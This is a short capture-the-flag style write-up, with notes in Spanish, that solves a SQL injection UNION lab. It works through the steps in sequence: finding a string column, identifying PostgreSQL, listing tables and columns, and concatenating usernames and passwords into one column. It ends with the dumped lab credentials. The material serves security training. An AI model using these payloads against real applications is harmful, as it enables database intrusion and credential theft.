SQL injection UNION attack, retrieving multiple values in a single column
This lab contains a SQL injection vulnerability in the product category filter. The results from the query are returned in the application's response so you can use a UNION attack to retrieve data from other tables.
The database contains a different table called users, with columns called username and password.
To solve the lab, perform a SQL injection UNION attack that retrieves all usernames and passwords, and use the information to log in as the administrator user.
https://siunam321.github.io/ctf/portswigger-labs/SQL-Injection/sqli-6/
Tiene 2 columnas y la segunda acepta strings
' UNION SELECT NULL,'a'-- -
Con version() se muestra que es postgresql
listar todas las tablas de la bd actual:
' UNION SELECT NULL,table_name FROM information_schema.tables-- -
OUTPUT : users
' UNION SELECT NULL,column_name FROM information_schema.columns WHERE table_name='users'-- -
email password username
Nota como el segundo parametro del select contiene tanto username como password concatenados mediante 2 pipes
' UNION SELECT NULL,username||':'||password FROM users-- -
administrator:k7dr5fc7sx5aybvopmre
wiener:f0x5ym3z4msuy6amiyvp
carlos:dz52zjs8pkwm09s6hal1